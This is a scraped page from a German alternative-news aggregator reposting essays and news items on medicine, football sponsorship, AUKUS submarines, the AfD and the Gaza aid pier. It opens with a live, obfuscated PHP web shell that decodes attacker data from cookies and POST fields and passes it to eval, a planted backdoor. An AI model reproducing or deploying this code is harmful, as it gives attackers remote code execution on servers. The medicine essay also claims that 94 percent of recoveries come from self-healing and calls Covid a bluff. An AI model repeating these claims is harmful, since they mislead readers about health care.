$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> No-Zensur.de Das freie Wort für eine freie Welt – Seite 2 – Täglich aktuelle unzensierte News aus der ganzen Welt!
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Jeder ist sein eigener Arzt

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Die Aktivierung von Selbstheilungspotenzialen ist Gegenstand vieler meditativer und spiritueller Techniken wie Yoga oder Autogenes Training (Symbolbild:Pixabay)

Wer heilt, hat Recht, lautet ein pragmatischer Grundsatz in der Medizin. Allerdings gilt dieses Zugeständnis, das auch einem heilsamen „Kunstfehler“ Tribut zollt, nicht ohne Ansehen der Person, die heilt. Schließlich darf die angestammte Rollenverteilung nicht in Frage gestellt werden. Denn was ist, wenn eine Heilung auf irgendeinen Laien oder gar den Kranken selbst zurückzuführen wäre?

Aber genau das Letztere “möchte der am häufigsten vorkommende Fall sein“, seit es Krankenbehandlungen gibt: Obwohl dieses Zitat eines selbstkritischen Arztes schon mehr als 200 Jahre zurückliegt, hat eine jüngst erschienene Meta-Analyse von mehr als 1.500 schulmedizinischen Behandlungen genau das bestätigt. Nur für 6 Prozent der untersuchten Therapien fanden sich verwertbare Studien, die einen Nutzen belegten. Dagegen waren bei nicht weniger als 38 Prozent unerwünschte Gesundheitsschäden dokumentiert.

Selbstbestimmung und Selbstvertrauen unerwünscht

Die Mehrzahl aller Besserungen und Heilungen bei Krankheit haben wir nach wie vor unserem „inneren Arzt“ zu verdanken. Der ist allerdings kein zahlendes Mitglied einer Behandlerzunft. Für ihn gilt nicht der Anspruch, Recht zu haben. Im Gegenteil, die privilegierten Mitglieder des Heilungswesens bekämpfen allzu oft unsere Selbstheilung. Konkurrenz durch unlizensierte Heilungsaktivitäten ist unerwünscht. Mit dem Anspruch der katholischen Kirche auf das Heilungsgeschäft seit etwa eintausend Jahren wurde klargestellt, dass nur der Heil-and und Heil-ige heilen könnten. Andernfalls hätte man Kranken einen Heiligenschein nicht verwehren können, wenn diese von selbst wieder auf die Beine kamen.

So, wie ohne höhere Macht Heilung denkunmöglich wurde, verloren die Menschen den Glauben an ihren „inneren Arzt“. Die seit Jahrhunderten steigenden Behandlungsfrequenzen sind der sichtbare Ausdruck. Hilfe sucht nur, wer nicht mehr an seine eigenen Kräfte glaubt. Selbstbestimmung und Selbstvertrauen waren und sind medizinisch wie politisch unerwünscht.

Heilmittel erzeugen meist das, wogegen sie eingesetzt werden

Wenn aber eine Besserung oder Heilung Kranker in 94 Prozent der Fälle ausschließlich der Selbstheilung zu verdanken ist, ist dies besonders zynisch. In all diesen Fällen ist das Treiben auch der heutigen Schulmedizin lediglich Unterhaltung der Patienten und Geschäft. Der „innere Arzt“ gaukelt Ärzten und Kranken Behandlungserfolge vor, die es nie gab. Beeinträchtigen Therapien gar noch den Zustand der Kranken, scheint sich der Erfolg der Maßnahmen noch zu vergrößern, wenn der Kranke überlebt. Kein Wunder, dass selbst ausnahmslos schädliche Behandlungen oft erst nach Jahrhunderten verschwinden, wenn es neue Angebote gibt, und nicht, weil mangelnder Nutzen und Schäden ein Ende gebieten. Seit kommerzielle Anbieter auf den Plan traten, war Selbstheilung nicht mehr vorgesehen.

“Heilsam” musste die Medizin gar nicht sein, da dies zunächst ein unzulässiger Eingriff in das göttliche Wirken war. Ärzte sollten bestenfalls kurieren. Seither erzeugen die Heilmittel meist die Symptome, gegen die sie eingesetzt werden. Schädliche Auswirkungen von Behandlungen können dadurch den vorbestehenden Leiden zugeschrieben werden. Der Medizinrebell Paracelsus (1493 – 1541), der sich nicht mehr an vorgegebene Dogmen halten wollte, sah sich nach einem Semester gezwungen, aus Basel fliehen. Schon in seiner Antrittsvorlesung hatte er erklärt, dass „viele Doktoren der heutigen Zeit mit größter Gefahr für die Kranken die greulichsten Irrtümer begehen.“ Paracelsus war überzeugt, dass „wer sich (…) am bloßen Buchstaben begnügt (…), als Arzt den Kranken tötet.

Geräuschlose Selbstheilungsmechanismen

Kollateralschäden galten in der akademischen Medizin immer als unvermeidlich. „Nebenwirkungen“ von Behandlungen waren selten ein Thema. Nirgends sonst als in Europa verwandelten sich Infektionen in „Pandemien“ und Geschlechts- oder Atemwegskrankheiten in tödliche Monster. Der Einzug von Messwerten, Mikroskopen und Statistik im heutigen westlichen medizinischen System änderte nichts daran, dass man Teilaspekte eines Geschehens als Wesen einer Krankheit verkennt. Die Wirksamkeit wird bis heute von der Schwere möglicher „Nebenwirkungen“ abhängig gemacht wird. Eine „recht scharfe Arznei“ wird selbst ohne Behandlungserfolg akzeptiert. Menschen nehmen bei präventiven Maßnahmen wie Impfungen eine Verschlechterung des Befindens hin.

Unsere Selbstheilungsmechanismen arbeiten dagegen geräuschlos und kontinuierlich für unsere Gesundheit. Nur selten beeinträchtigen sie zeitweise unser Wohlbefinden. Selbstheilung dauert – bis zu zwei Jahre! Aber Selbstheilung wirkt nachhaltig. Viele Krankheiten, die man von selbst ausheilen lässt, kommen nie wieder. Unser „innerer Arzt“ arbeitet nicht nur kostenlos, sondern erspart uns bleibende Gesundheitsschäden.


Univ.-Doz.(Wien) Dr. med. Gerd Reuther ist Facharzt für Radiologie, Medizinaufklärer und Medizinhistoriker. Er benannte von Anfang an „Covid-19“ als das, was es war: Ein großer Bluff. In mittlerweile sechs Büchern setzt er sich kritisch mit der Medizin in Geschichte und Gegenwart auseinander. Aktuell erschien – gemeinsam mit seiner Frau Renate – sein Buch „Wer schweigt, hat schon verloren.



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Söder kritisiert DFB wegen Ausrüsterwechsel von Adidas zu Nike — Extremnews — Die etwas anderen Nachrichten

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Freigeschaltet

am 22.03.2024 um 12:29

durch Sanjo Babić

Markus Söder (2021)

Markus Söder (2021)

Bild: AfD Deutschland

Bayerns Ministerpräsident Markus Söder (CSU) kritisiert den DFB wegen des Ausrüsterwechsel von Adidas zum US-Sportartikelhersteller Nike in ab 2027. Söder sagte zu „Bild“: „Die Erfolgsgeschichte begann 1954 mit dem unvergessenen WM-Sieg, der unserem Land wieder Selbstbewusstsein gegeben hat. Deshalb ist es falsch, schade und auch unverständlich, dass diese Geschichte jetzt enden soll.“

Deutscher Fußball sei „Heimat pur – und kein Spielball internationaler Konzernkämpfe“. Und weiter: „Kommerz ist nicht alles. Mehr Geradlinigkeit hätte dem DFB trotz aller wirtschaftlichen Herausforderungen gut zu Gesicht gestanden.“ 

DFB und Adidas seien immer auch ein Stück deutsche Wirtschaftsgeschichte, sagte Söder der „Bild“: „Die Nationalelf spielt in drei Streifen – das war so klar, wie dass der Ball rund ist und ein Spiel 90 Minuten dauert.“

Quelle: dts Nachrichtenagentur



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Mutter und Kind retten sieben ausgesetzte Katzen — Extremnews — Die etwas anderen Nachrichten

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Freigeschaltet

am 22.03.2024 um 12:43

durch Sanjo Babić

Bild: Polizei

Bild: Polizei

Als eine 37-jährige Frau am Donnerstag mit ihrem 2-jährigen Sohn gegen 18:30 Uhr auf den Spielplatz in der Stolberger Straße wollte, stellte sie neben der dortigen Mülltonne einen Wäschekorb fest, der mit Aluminiumfolie und Klebeband verpackt war. Aus ihm heraus war lautes Maunzen zu vernehmen. Nachdem die Mutter die Verpackung beherzt aufgerissen hatte, stellte sie darin sieben Katzen fest.

Einen großen bräunlich getigerten Kater, eine mittelgroße schwarze Kätzin sowie fünf Katzenbabys. Nach der Färbung der Kleinen zu schließen, handelte es sich offenbar um eine komplette Familie. Die Katzen waren allerdings weder tätowiert noch geschippt. Auch andere Hinweise auf ihre Herkunft ließen sich nicht finden.

Die Finderin brachte ihren Fund zum Polizeirevier Mannheim-Neckarstadt. Die Beamtinnen und Beamten kümmerten sich natürlich sofort um die ausgesetzten und verstört wirkenden Tiere. Die Katzen bekamen zunächst eine ordentliche Mahlzeit und reichlich Zuwendung, bevor sie zum Tierheim transportiert wurden.

Quelle: Polizeipräsidium Mannheim (ots)



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Adidas stellt überraschend noch neueres EM-Trikot vor

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Herzogenaurach (dpo) – Das gab’s noch nie: Kurz nach der offiziellen Trikotvorstellung der deutschen DFB-Auswahl für die Europameisterschaft hat Adidas das Design noch einmal überarbeitet. Die neue Farbe Braun und die spielerischen Kackhaufen-Designelemente sollen laut dem Ausrüster die Werte des DFB widerspiegeln.

„Wir finden unser pinkes Design nach wie vor schön, aber in den letzten 24 Stunden haben wir uns gedacht: Das können wir noch besser“, erklärt Adidas-Chef Bjørn Gulden. „Ich finde, wir haben in diesem neuen Anlauf wirklich ein Trikot gefunden, das deutlich besser zum DFB und seinem Management passt.“

Gerüchte, die Neugestaltung des Trikots habe etwas mit der Entscheidung des DFB zu tun, sich ab 2027 von Adidas-Konkurrent Nike ausstatten zu lassen, wies Gulden scharf zurück: „Wir sind Profis. Von so etwas wie der elendigen Profitgier des DFB lassen wir uns nicht beeinflussen. Die Designänderung wurde aus rein ästhetischen Gründen vollzogen und hat überhaupt nichts damit zu tun, dass wir stinksauer auf die DFB-Verräter sind.“

Anschließend stellte Adidas außerdem ein neues Schuhmodell für die deutsche Nationalmannschaft vor, bei dem die Stollen kurioserweise nach innen zeigen.

dan, ssi





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Großbritannien rüstet Australien mit Atom-U-Booten aus — RT DE

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Neben USA will auch Großbritannien Australien mit der Technologie für nuklear betriebene U-Boote ausstatten. Der Schritt ist für die USA von strategischer Wichtigkeit: Sie hoffen, mit der engeren Einbindung Australiens und Großbritanniens im Indopazifik die eigene Position im Wettbewerb gegen China zu stärken.

Australien wird der britischen Industrie 4,6 Mrd. australische Dollar (3 Mrd. USD) zur Verfügung stellen, um den Bau von Atom-U-Booten zu unterstützen und die rechtzeitige Auslieferung der neuen Flotte zu gewährleisten. Das teilten die beiden Länder am Freitag mit.

Die Ankündigung erfolgte einen Tag nach der Unterzeichnung eines Verteidigungs- und Sicherheitspakts, mit dem die beiden Länder Herausforderungen wie Chinas zunehmenden Aktivitäten im Südchinesischen Meer und im Südpazifik besser entgegenwirken wollen. Der britische Verteidigungsminister Grant Shapps erklärte, das U-Boot-Programm sei teuer, aber notwendig.

„Atomgetriebene U-Boote sind nicht billig, aber wir leben in einer viel gefährlicheren Welt, in der wir mit China eine viel selbstbewusstere Region und mit den Ereignissen im Nahen Osten und in Europa eine viel gefährlichere Welt erleben“, sagte Shapps gegenüber der Australian Broadcasting Corporation.

Vertiefung der Beziehungen zu Russland:  Wang beschuldigt USA der Eindämmungsversuche gegen China

„Die Länder müssen investieren, um sicherzustellen, dass die Gegner sehen, dass wir es mit unserer Sicherheit ernst meinen und zum Beispiel die Freiheit der Schifffahrt verteidigen.“

Im Rahmen des AUKUS-Abkommens erwirbt Australien ab Anfang der 2030er-Jahre mindestens drei US-amerikanische Atom-U-Boote.

„Australien, das Vereinigte Königreich und die Vereinigten Staaten halten an diesem gemeinsamen Vorhaben fest“, hieß es am Freitag in einer gemeinsamen trilateralen Erklärung von Marles, Shapps und US-Verteidigungsminister Lloyd Austin. Die U-Boote der Virginia-Klasse werden in erster Linie auf einem britischen Entwurf beruhen und ein amerikanisches Waffensystem an Bord haben.

Der australische Verteidigungsminister Richard Marles sagte, die Vereinbarung zeige, dass das Programm für Atom-U-Boote erfüllt werde und neue Produktionskapazitäten für die AUKUS-Partner schaffe, womit er sich auf den militärischen Zusammenschluss von Australien, Großbritannien und den Vereinigten Staaten bezieht: Die USA, Großbritannien und Australien hatten 2021 ein Sicherheitsbündnis namens AUKUS ins Leben gerufen. Der Name ergibt sich aus den englischen Abkürzungen der Länder. Dabei sollen U-Boot-Einheiten der USA und Großbritanniens im Rotationsverfahren in Australien stationiert werden. Langfristig wollen sie ein neues U-Boot-Modell entwickeln und herstellen.

Der Schritt ist für die USA von strategischer Wichtigkeit: Sie hoffen, mit der engeren Einbindung Australiens und Großbritanniens im Indopazifik die eigene Position im Wettbewerb gegen China zu stärken, ohne die volle Verantwortung oder die vollen Kosten dafür übernehmen zu müssen. China hat mehrfach vor einer Militarisierung der Region durch die USA und deren Verbündeten gewarnt. 

Mehr zum ThemaNach Handelsstreit mit China: Australien erhält den höchsten Besuch der chinesischen Führung

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.





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FC Ausgrenzung: Bundestag schmeißt AfD-Kicker raus

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Sie werden immer verbissener: Jetzt hat der FC Bundestag, also die Fußballmannschaft des Parlaments, AfD-Abgeordnete aus ihren Reihen verbannt. COMPACT schlägt Alarm. Die März-Ausgabe unseres Magazins thematisiert in der umfangreichen Titelgeschichte: „Der neue Faschismus. Der Linksstaat marschiert.“ Hier mehr erfahren.

Eine fraktionsübergreifende Fußballmannschaft, die den Sport nutzt, um gemeinsam Freizeit zu gestalten: Das war der FC Bundestag bisher. Auf der eigenen Internetseite heißt es launig: „Die Parlaments-Fußballmannschaft ist seit mehr als 50 Jahren eine feste Institution im Hohen Hause. Keine andere Fraktion ist derart von Zusammenhalt, Fairness, Respekt, Disziplin, Spaß und Teamgeist geprägt.“ Pustekuchen! Intoleranz und Ausgrenzung sind offenbar die neuen Tugenden.

Eigene Werte verhöhnt

Am gestrigen Donnerstag hat nun der Klub im Rahmen einer Mitliederversammlung beschlossen, AfD-Mannschaftskameraden auszustoßen. Bruno Hönel, Mitglied der Grünen und Vizekapitän der Truppe:
„Wir akzeptieren keine Diskriminierung, unsere Werte sind Weltoffenheit, Toleranz und das Bekenntnis zur Demokratie. Die Rechtsextremen wollen das Gegenteil.“

In der jüngeren Vergangenheit hatten auch einige AfD-Vertreter für den FC Bundestag gekickt. Zu ihnen zählt der Abgeordnete Dr. Malte Kaufmann. Der bekennende Christ aus Heidelberg ist Obmann des Wirtschaftsausschusses. Er sieht in dem Ausschluss einen Verstoß gegen die Satzung des FC Bundestag und sagt:

„Das ist ein Paradebeispiel für Ausgrenzung und Diskriminierung.“

Den AfD-Mitgliedern des FC Bundestag könne man „nichts vorwerfen“. Man habe sich immer „korrekt verhalten“ und hätte auch „mit Freude für diese Mannschaft gespielt“. Kaufmann kündigte rechtliche Schritte an. Denn: „Es kann nicht sein, dass diese undemokratischen Umtriebe in ganz Deutschland Schule machen.“ Neben Kaufmann spielen auch die AfD-Abgeordneten Wolfgang Wiehle, Jörn König und Petr Bystron in der Mannschaft.

Bemerkenswerte Arroganz

Mit 29 zu elf Stimmen sei der Ausgrenzungs-Beschluss gefasst worden, hört man. Der Vorstand des Vereins ist nunmehr beauftragt, die Unvereinbarkeit einer AfD-Zugehörigkeit mit einer FC Bundestag-Mitgliedschaft festzustellen und dann entsprechende Maßnahmen einzuleiten. Mahmut Özdemir, SPD-Abgeordneter, ist Kapitän der Bundestags-Mannschaft. Seine Stellungnahme trieft vor Arroganz und Intoleranz:

„Unser Signal ist eindeutig, dass wir im Bundestag keine Mitglieder dulden, die als Mitglieder der AfD das Paktieren mit dem Rechtsextremismus vollziehen oder zumindest billigend in Kauf nehmen. Damit kann sich jeder einzelne AfD-Kollege überlegen, ob ihm die Mitgliedschaft in der AfD oder die Mitgliedschaft im FC Bundestag wichtiger ist.“

Den FC Bundestag gibt es seit 1961. Die Spieler treffen sich in der Regel in den Bundestags-Sitzungswochen und  tragen ihre Partien, zumeist gegen andere Freizeitmannschaften oder auch mal gegen Parlamentarier anderer Länder, im Friedrich-Jahn-Sportpark in Berlin aus.

Als die AfD ins Parlament einzog, hatte man bereits umgehend die Satzung angepasst. Seither heißt es dort zur Positionierung des Vereins: „Er steht für Weltoffenheit, Völkerverständigung sowie Toleranz und positioniert sich klar gegen jede Form von Nationalismus, Rassismus sowie fremdenfeindliche Bestrebungen.“ Nun also der aktive Ausschluss von andersdenkenden Kollegen…

Solche Mätzchen vergiften unsere Gesellschaft weiter. Dagegen steht COMPACT. Die März-Ausgabe unseres Magazins legt den Finger in die Wunde. „Der neue Faschismus. Der Linksstaat marschiert.“ Hier bestellen.





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Leider müssen wir die Notbremse ziehen …

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Da ich rechtlich verantwortlich bin für Kommentare auf meiner Seite, und die Daumenschrauben immer weiter angezogen werden, müssen die meisten gegengelesen werden. Auch, weil leider manche beleidigend und strafrechtlich relevant sind. Mein kleines Team war damit bisher schon zeitlich mehr als am Limit. Es kommen teilweise mehr als 400 Kommentare unter einzelne Artikel. Hinzu kommen ständige, destruktive Klagen über verspätete Freischaltungen, den leider unabdingbaren Spam-Filter etc. Das erhöht nicht nur den Arbeitsaufwand noch einmal erheblich, sondern macht auch eine sachliche Diskussion immer schwieriger bis unmöglich. Und es schreckt konstruktive Kommentatoren und Leser ab. Schließlich ist die Kommentarfunktion für einen gepflegten Meinungsaustausch gedacht und nicht als eine „Klagemauer“ mit ständigen Beschimpfungen. So leid es mir tut – wir müssten aus den genannten Gründen die Notbremse ziehen und die Kommentarfunktion eigentlich ganz abschalten. Weil das sehr schade wäre, würde ich es nur schweren Herzens dazu durchringen können; auch weil mir viele Kommentatoren regelrecht ans Herz gewachsen sind. Nehmen Sie nur Hans-Hasso Stamer, Kommentator der ersten Stunde, und heute auch Autor bei mir Und viele, viele anderen.

Viele andere große „alternative“ Medien haben extra Mitarbeiter für die Kommentar-Prüfung, die jeden einzelnen Beitrag prüfen und dabei auch oft sehr streng aussieben. So eine Lösung übersteigt unsere Möglichkeiten; und dass bei uns viele Kommentare anders als bei den Kollegen sofort freigeschaltet werden, ist eine der angenehmen Besonderheiten meiner Seite. Aber eben auch in vielerlei Hinsicht ein Risiko. Das nur zu verantworten ist, wenn wir auf „künstliche Intelligenz“ (KI) bauen. Deren leider unvermeidliche Fehler führen aber regelmäßig zu Empörung und Wut bis hin zu Beleidigungen. Etwa, wenn die (KI) Kommentare als Spam löscht oder zur manuellen Kontrolle aussortiert – die dann eben dauert. Aber ohne KI ginge es nicht – die Seite würde in Spam und Beschimpfungen ertrinken.

So bitter es ist: Im Zweifelsfall muss die Seite Vorrang haben – die gepflegteste Kommentarfunktion hilft nichts, wenn keine Artikel mehr da sind, weil die Autoren nur noch Kommentare moderieren.

Bevor ich endgültig die Notbremse ziehen muss, möchte ich noch eine „Rettungsaktion“ starten. Und die Kommentarfunktion erst einmal nur einschränken und vor allem unter den Artikeln ausschalten, bei denen sie erfahrungsgemäß besonders viel Arbeit macht und besonders viele Beschimpfungen erfolgen.

Natürlich suchen wir nach Lösungen und würden die Kommentarfunktion gerne so bald wie möglich wieder im alten Umfang weiter betreiben. Allerdings sind wir davon im Moment viel weiter entfernt als von einer notgedrungenen gänzlichen Abschaltung. Gerade auch im Hinblick auf Lösungen bei der Kommentarfunktion ist Ihre Unterstützung besonders wertvoll (hier steht, wie es geht)!! Damit die Debatte nicht leidet, haben Sie als Alternative meine Accounts etwa auf Facebook oder Youtube und „X“, wo es zu den meisten Artikeln einen Post gibt und dann immer auch eine Diskussion. Dort tragen die jeweiligen Plattform-Betreiber die Verantwortung. Und Sie können nach Herzenslust der freien Meinungsäußerung frönen.

Bei dieser Gelegenheit auch noch eine gute Nachricht: Wie Sie vielleicht bemerkt haben, ist auf dieser Seite jetzt keine Banner-Werbung mehr. Da wir von den großen Werbe-Dienstleistern wie Google auf die rote Liste gesetzt wurden, mussten wir mit kleinen Anbietern zusammenarbeiten, deren Werbung nicht immer so hochwertig war, wie wir es uns wünschten. Deshalb habe ich mich entschlossen, versuchsweise darauf zu verzichten, damit Sie beim Lesen nicht gestört werden. Aktuell setze ich stattdessen auf Affiliate-Links, vor allem zu Büchern, die ich selbst auswählen kann. Mit jeder Bestellung über diese Links, auch von anderen Produkten als den Beworbenen, unterstützen Sie meine Arbeit, mein Team und meine Seite. Ich hoffe, das Experiment geht gut, und ich kann die Seite weiter frei von Banner-Werbung halten. Sehr dankbar bin ich auch, wenn Sie die Werbefreiheit mit einer kleinen Zuwendung unterstützten (hier steht, wie es geht).

Auf meiner Seite konnten Sie schon 2021 lesen, was damals noch als „Corona-Ketzerei“ galt – und heute selbst von den großen Medien eingestanden werden muss. Kritischer Journalismus ist wie ein Eisbrecher – er schlägt Schneisen in die Einheitsmeinung.

Dafür muss man einiges aushalten. Aber nur so bricht man das Eis. Langsam, aber sicher.

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China – der heimliche Traum von Angela Merkel? Ketzerische Eindrücke von meiner China-Reise

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Israels Trojanisches Pferd – uncut-news.ch

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Der „provisorische Pier“, der an der Mittelmeerküste des Gazastreifens gebaut wird, dient nicht dazu, die Hungersnot zu lindern, sondern die Palästinenser auf die Schiffe zu treiben und ins dauerhafte Exil zu schicken.

Israels Trojanisches Pferd – von Mr. Fish

Häfen lassen Dinge herein. Sie lassen Dinge heraus. Und Israel, das nicht die Absicht hat, seine mörderische Belagerung des Gazastreifens, einschließlich seiner Politik des erzwungenen Hungers, zu beenden, scheint eine Lösung für sein Problem gefunden zu haben, wohin es die 2,3 Millionen Palästinenser abschieben soll.

Wenn die arabische Welt sie nicht aufnehmen will, wie Außenminister Antony Blinken bei seiner ersten Besuchsrunde nach dem 7. Oktober vorschlug, werden die Palästinenser auf Schiffen in die Flucht geschlagen. Das hat 1982 in Beirut funktioniert, als etwa achteinhalbtausend Mitglieder der Palästinensischen Befreiungsorganisation auf dem Seeweg nach Tunesien geschickt wurden und weitere zweieinhalbtausend in anderen arabischen Staaten landeten. Israel geht davon aus, dass die gleiche Zwangsdeportation auf dem Seeweg auch in Gaza funktionieren wird.

Aus diesem Grund unterstützt Israel den „temporären Hafen“, den die Biden-Regierung baut, um angeblich Lebensmittel und Hilfsgüter nach Gaza zu liefern – Lebensmittel und Hilfsgüter, deren „Verteilung“ vom israelischen Militär überwacht wird.  

„Man braucht Fahrer, die es nicht gibt, Lastwagen, die es nicht gibt, um ein Verteilungssystem zu versorgen, das es nicht gibt“, sagte Jeremy Konyndyk, ein ehemaliger hochrangiger Beamter der Biden-Regierung und derzeitiger Präsident von Refugees International, gegenüber The Guardian.

Dieser „Seekorridor“ ist Israels trojanisches Pferd, ein Vorwand, um die Palästinenser zu vertreiben. Die kleinen Hilfslieferungen auf dem Seeweg und die aus der Luft abgeworfenen Lebensmittelpakete werden die drohende Hungersnot nicht lindern, dafür sind sie auch nicht gedacht.

Fünf Palästinenser wurden getötet und mehrere verletzt, als ein mit Hilfsgütern beladener Fallschirm versagte und in eine Menschenmenge in der Nähe des Flüchtlingslagers Schati in Gaza-Stadt stürzte.

„Das Abwerfen von Hilfsgütern auf diese Weise ist eher auffällige Propaganda als ein humanitärer Dienst“, erklärte das Medienbüro der Lokalregierung in Gaza. „Wir haben bereits davor gewarnt, dass dies eine Bedrohung für das Leben der Menschen in Gaza darstellt, und genau das ist heute passiert, als die Pakete auf die Köpfe der Menschen fielen.“

Wenn es den USA oder Israel ernst damit wäre, die humanitäre Krise zu lindern, müssten die Tausenden Lastwagen mit Lebensmitteln und Hilfsgütern, die derzeit an der Südgrenze des Gazastreifens stehen, jeden der zahlreichen Grenzübergänge passieren dürfen. Aber das tun sie nicht. Die „temporäre Anlegestelle“ ist wie die Bombenabwürfe aus der Luft eine schaurige Inszenierung, ein Mittel, um Washingtons Mitschuld am Völkermord zu verschleiern.

Israelische Medien berichteten, dass der Bau des Piers auf Druck der Vereinigten Arabischen Emirate erfolgte, die Israel gedroht hatten, einen Landkorridor zu schließen, den sie gemeinsam mit Saudi-Arabien und Jordanien verwalten, um die Seeblockade des Jemen zu umgehen.

Wie die Jerusalem Post berichtet, war es Premierminister Benjamin Netanjahu, der der Biden-Administration den Bau des „temporären Hafens“ vorschlug.

Der israelische Verteidigungsminister Yoav Gallant, der die Palästinenser als „menschliche Tiere“ bezeichnete und eine totale Belagerung des Gazastreifens befürwortete, einschließlich des Abschneidens von Strom, Nahrung, Wasser und Treibstoff, lobte den Plan mit den Worten: „Er wird die Hilfe direkt zu den Bewohnern bringen und so den Zusammenbruch der Hamas-Herrschaft in Gaza fortsetzen.

„Warum sollte Israel, das für die Hungersnot im Gazastreifen verantwortlich ist, die Idee unterstützen, einen Seekorridor für Hilfslieferungen einzurichten, um eine Krise zu bewältigen, die es selbst verursacht hat und die sich nun verschlimmert?“, schreibt Tamara Nassar in einem Artikel mit dem Titel „What is the Real Purpose of Biden’s Gaza Port?“ in The Electronic Intifada. „Es mag paradox erscheinen, wenn man bedenkt, dass der Hauptzweck des Seekorridors die Lieferung von Hilfsgütern ist.

Wenn Israel den Palästinensern ein Geschenk macht, kann man sicher sein, dass es ein vergifteter Apfel ist.Die Tatsache, dass Israel die Biden-Regierung dazu gebracht hat, den Hafen zu bauen, ist ein weiteres Beispiel für die umgekehrte Beziehung zwischen Washington und Jerusalem, wo die Israel-Lobby gewählte Vertreter beider Regierungsparteien gekauft hat.

In einem Bericht vom 15. März beschuldigt Oxfam Israel, die Hilfslieferungen in den Gazastreifen aktiv zu behindern und dabei die Anordnungen des Internationalen Gerichtshofs zu missachten.Oxfam stellt fest, dass 1,7 Millionen Palästinenser, etwa 75 Prozent der Bevölkerung des Gazastreifens, von einer Hungersnot bedroht sind und dass zwei Drittel der Krankenhäuser und mehr als 80 Prozent der medizinischen Einrichtungen in Gaza nicht zur Verfügung stehen.

Der Bericht lautet wie folgt:

„Die Bedingungen, die wir im Gazastreifen beobachtet haben, sind mehr als katastrophal, und wir haben nicht nur festgestellt, dass die israelischen Behörden ihrer Verantwortung, die internationalen Hilfsbemühungen zu erleichtern und zu unterstützen, nicht nachgekommen sind, sondern dass sogar aktive Schritte unternommen wurden, um diese Hilfsbemühungen zu behindern und zu untergraben. Humanitäre Organisationen, die im Gazastreifen tätig sind, berichten von einer Verschlechterung der Situation, seit der Internationale Gerichtshof angesichts der plausiblen Gefahr eines Völkermordes einstweilige Maßnahmen verhängt hat, und von verstärkten israelischen Absperrungen, Einschränkungen und Angriffen auf humanitäre Helfer.Israel hat die „bequeme Illusion einer Reaktion“ in Gaza aufrechterhalten, um seine Behauptung zu untermauern, es lasse Hilfe zu und führe den Krieg im Einklang mit dem Völkerrecht.“

Laut Oxfam wendet Israel „ein dysfunktionales und unterdimensioniertes Inspektionssystem an, das Hilfslieferungen aufhält und sie langwierigen, sich wiederholenden und unvorhersehbaren bürokratischen Verfahren unterzieht, die dazu beitragen, dass Lastwagen durchschnittlich 20 Tage in langen Warteschlangen feststecken“. Israel, so Oxfam, lehne „Hilfsgüter mit doppeltem (militärischem) Verwendungszweck ab und verbietet lebenswichtigen Treibstoff und Generatoren sowie andere für eine sinnvolle humanitäre Hilfe unerlässliche Güter wie Schutzkleidung und Kommunikationsausrüstung. „Abgelehnte Hilfsgüter „müssen ein kompliziertes ‚Vorab-Genehmigungssystem‘ durchlaufen oder landen in der Vorhölle des Lagers Al Arish in Ägypten“. Israel hat auch „hart gegen humanitäre Missionen durchgegriffen, den nördlichen Gazastreifen weitgehend abgeriegelt und den Zugang internationaler Helfer nicht nur nach Gaza, sondern auch nach Israel und in die Westbank, einschließlich Ostjerusalem, eingeschränkt“.

In den vergangenen 157 Kriegstagen hat Israel 15.413 Lastwagen nach Gaza durchgelassen. Oxfam schätzt, dass die Bevölkerung in Gaza fünfmal so viele benötigt. Im Februar ließ Israel 2.874 Lastwagen passieren, 44 Prozent weniger als im Vormonat. Vor dem 7. Oktober kamen täglich 500 Hilfslieferungen nach Gaza.

Bei mehr als zwei Dutzend Zwischenfällen töteten israelische Soldaten zahlreiche Palästinenser, die versuchten, Hilfsgüter aus den Lastwagen zu holen. Bei diesen Angriffen wurden am 14. März mindestens 21 Palästinenser getötet und 150 verletzt, als die israelischen Streitkräfte auf Tausende Menschen in Gaza-Stadt schossen. Dasselbe Gebiet wurde von israelischen Soldaten beschossen.

